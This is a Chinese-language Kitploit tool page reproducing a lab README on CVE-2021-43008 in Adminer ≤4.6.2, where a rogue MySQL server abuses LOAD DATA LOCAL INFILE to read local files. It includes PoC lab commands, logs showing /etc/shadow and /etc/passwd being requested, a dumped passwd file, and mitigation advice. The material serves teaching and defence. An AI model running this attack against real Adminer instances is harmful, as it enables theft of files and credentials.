Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
adminer_CVE-2021-43008 — 用于演示Adminer的CVE-2021-43008漏洞的环境:观察实际影响并测试缓解措施。 | Kitploit
工具/GitHubGitHub/bamolitho/adminer_cve-2021-43008
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育数据库安全实验室与实践
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

用于演示Adminer的CVE-2021-43008漏洞的环境:观察实际影响并测试缓解措施。

查看仓库
139个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-43008 — Adminer 漏洞

通过恶意 MySQL 服务器进行任意文件读取

1. 什么是 Adminer?

Adminer 是一个网页工具(PHP),用于轻松管理 MySQL、PostgreSQL、SQLite 或 SQL Server 数据库。 它通常作为 phpMyAdmin 的轻量级替代方案部署。

受影响版本:Adminer ≤ 4.6.2


2. 漏洞的本质是什么?

2.1. 访问控制缺陷

Adminer 允许连接到任何远程 MySQL 服务器。 然而,在连接到 MySQL 服务器时,客户端(此处为 Adminer)会接受:

  • 服务器发送的一组初始指令,
  • 其中包括 LOAD DATA LOCAL INFILE 命令,该命令允许服务器请求客户端向其发送本地文件。

2.2. 问题所在

在受影响版本中,Adminer 未能正确验证 MySQL 服务器的响应。

结果: 攻击者控制的 MySQL 服务器可以请求:

“读取托管 Adminer 的机器或容器上的这个本地文件,并将其发送给我。”

此机制与 MySQL 数据包有关: 0xFB | filename → 触发本地文件读取。

为什么版本 4.6.2 存在漏洞

Adminer 4.6.2 允许用户指定外部 MySQL 服务器并自由连接。 而 MySQL 默认甚至允许使用:

  • LOAD DATA LOCAL INFILE
  • 在某些服务器请求文件时自动模式。

因此: Adminer → 连接到恶意服务器 → 恶意服务器请求文件 → Adminer 发送文件。

这就是漏洞的本质。


3. 利用条件

攻击者必须:

  1. 托管一个恶意 MySQL 服务器(Rogue MySQL Server)。
  2. 诱使 Adminer 连接到其服务器:
    • 通过配置错误,
    • 通过公开暴露的界面,
    • 通过用户操作(类似“提供主机”攻击)。
  3. 恶意 MySQL 服务器发送 LOAD DATA LOCAL INFILE 数据包。
  4. Adminer 读取本地文件。
  5. 文件被发送给攻击者。

无须 root 密码即可泄露本地文件:Adminer 以 PHP 应用身份在目标服务器上执行该操作。


4. 漏洞后果

4.1. 机密性受损

攻击者可以:

  • 读取 /etc/passwd(托管 Adminer 的实体:宿主机或容器),
  • 读取 /etc/shadow(取决于 PHP 用户权限),
  • 获取配置文件,
  • 窃取 MySQL 连接凭据,
  • 提取Web 用户可访问的所有信息。

4.2. 影响升级

利用窃取的 MySQL 凭据(第二步),攻击者可以进一步:

  • 连接到真实的内部数据库,
  • 读取数据,
  • 写入表,
  • 注入恶意负载。

5. 实际演示 (PoC) — 实验环境架构

PoC 在隔离且容器化的环境中进行,以避免任何风险。

5.1. 实验组件

  1. 存在漏洞的 Adminer(版本 4.6.2) 角色:受害者 通过 localhost:8080 在本地暴露
  2. 合法 MySQL(可选) 角色:模拟真实数据库
  3. 恶意 MySQL 服务器(Python) 角色:攻击者 它发送 0xFB filename 数据包,强制 Adminer 读取本地文件。

5.2. 目录结构

root@kitploit:~
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. PoC 执行步骤:漏洞如何体现?

6.1. 启动实验环境

root@kitploit:~
docker compose build && docker compose up -d

6.2. 从 Adminer 连接到恶意服务器

在 http://localhost:8080 中:

  • 系统:MySQL
  • 服务器:rogue_mysql:33306
  • 用户:任意
  • 密码:任意

6.3. 自动执行流程

  1. Adminer 发送握手包。
  2. 恶意 MySQL 返回 LOAD DATA LOCAL INFILE '/etc/passwd'。
  3. Adminer 读取 /etc/passwd。
  4. Adminer 将其内容发送给恶意服务器。
  5. 恶意服务器将文本存储到 stolen_file.txt。

6.4. 观察结果

使用以下命令查看恶意服务器日志:

root@kitploit:~
docker logs -f rogue_mysql

预期结果:

root@kitploit:~
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

查看 stolen_file.txt 的内容:

root@kitploit:~
docker exec -it rogue_mysql sh

进入容器后,可以查看文件内容,包括 stolen_file.txt

root@kitploit:~
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
root@kitploit:~
# cat stolen_file.txt

结果:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

此结果明确证明了漏洞的存在。

7. 缓解措施

A. 更新 Adminer(仅此一项就足够了)

最可靠的解决方案: 升级到 Adminer ≥ 4.6.3

后续版本修复了网络行为。

后续版本修复的内容

从 Adminer 4.7.x 开始,引入了多项保护措施:

Adminer 现在默认禁止 LOAD DATA LOCAL INFILE

即:

  • 完全禁用
  • 或仅在用户明确授权时启用

→ 结果:你的恶意 MySQL 服务器无法再窃取文件。

Adminer 在发送到服务器之前过滤客户端操作

这阻止了外部连接使用危险函数。

额外的输入验证机制

新版本会检查:

  • 目标服务器是否为预期服务器
  • 操作是否安全
  • 请求是否确实是合法的用户操作

B. 禁用外部连接

将 Adminer 限制为仅内部主机:

  • 通过防火墙(OUTPUT + Docker 网络),
  • 通过过滤的反向代理,
  • 通过严格的本地化网络配置。

生产环境中的 Adminer 必须始终指向内部 MySQL。


C. 在 MySQL 端禁用 LOCAL INFILE

防止通过合法 MySQL 客户端窃取:

root@kitploit:~
[mysqld]
local_infile=0

或:

root@kitploit:~
SET GLOBAL local_infile=0;

D. 切勿公开暴露 Adminer

Adminer 不应在互联网上可访问。

生产环境中:

  • 通过 VPN 限制访问,
  • 使用 SSO 或强身份验证,
  • 设置自动过期。

E. 使用后删除 Adminer

Adminer 应被视为一个临时工具:

  • 用于一次性任务时部署,
  • 之后立即删除。

8. 可靠资源与参考

  • 所用 Python 脚本来源:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
  • Adminer 官方网站 https://www.adminer.org/en/
  • Sansec(初始发布) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
  • Podalirius(技术解释 + PoC) https://podalirius.net/en/cves/2021-43008/
  • vulhub:https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

9. 最终总结

CVE-2021-43008 是 Adminer ≤ 4.6.2 中的一个严重漏洞,允许:

  • 攻击者控制 MySQL 服务器,
  • 强制 Adminer 读取本地文件,
  • 然后将内容泄露给攻击者。

这完美地说明了以下重要性:

  • 网络控制,
  • MySQL 客户端限制,
  • 不暴露管理工具,
  • 软件版本管理。

下载工具